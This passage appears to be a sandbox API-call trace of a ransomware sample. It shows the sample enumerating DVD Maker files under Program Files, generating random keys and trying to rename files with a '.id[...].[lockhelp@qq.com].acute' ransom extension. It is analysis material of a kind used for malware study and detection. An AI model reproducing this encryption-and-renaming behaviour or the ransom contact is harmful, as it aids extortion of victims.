(lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.448] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.449] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3055) returned 1 [0274.449] CloseHandle (hObject=0x37c) returned 1 [0274.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png")) returned 0x20 [0274.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.449] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.450] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=25243) returned 1 [0274.450] CloseHandle (hObject=0x37c) returned 1 [0274.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png")) returned 0x20 [0274.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.450] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.450] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6922) returned 1 [0274.450] CloseHandle (hObject=0x37c) returned 1 [0274.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0274.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.450] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.451] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4959) returned 1 [0274.451] CloseHandle (hObject=0x37c) returned 1 [0274.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0274.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.451] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.451] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4503) returned 1 [0274.451] CloseHandle (hObject=0x37c) returned 1 [0274.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png")) returned 0x20 [0274.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.451] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.453] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3082) returned 1 [0274.453] CloseHandle (hObject=0x37c) returned 1 [0274.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png")) returned 0x20 [0274.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.453] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.453] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3108) returned 1 [0274.453] CloseHandle (hObject=0x37c) returned 1 [0274.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png")) returned 0x20 [0274.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.453] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.453] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=533292) returned 1 [0274.453] CloseHandle (hObject=0x37c) returned 1 [0274.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv")) returned 0x20 [0274.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.454] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.454] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=613292) returned 1 [0274.454] CloseHandle (hObject=0x37c) returned 1 [0274.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv")) returned 0x20 [0274.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.454] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.455] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=153) returned 1 [0274.455] CloseHandle (hObject=0x37c) returned 1 [0274.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png")) returned 0x20 [0274.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.455] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.455] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=132) returned 1 [0274.455] CloseHandle (hObject=0x37c) returned 1 [0274.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png")) returned 0x20 [0274.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.455] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.456] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1741316) returned 1 [0274.456] CloseHandle (hObject=0x37c) returned 1 [0274.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv")) returned 0x20 [0274.456] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.494] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv")) returned 0 [0274.494] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.547] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=741220) returned 1 [0274.547] CloseHandle (hObject=0x30c) returned 1 [0274.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv")) returned 0x20 [0274.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.547] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.558] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=24852) returned 1 [0274.558] CloseHandle (hObject=0x30c) returned 1 [0274.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png")) returned 0x20 [0274.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.558] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.559] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.559] CloseHandle (hObject=0x30c) returned 1 [0274.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp")) returned 0x20 [0274.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.559] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.559] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: 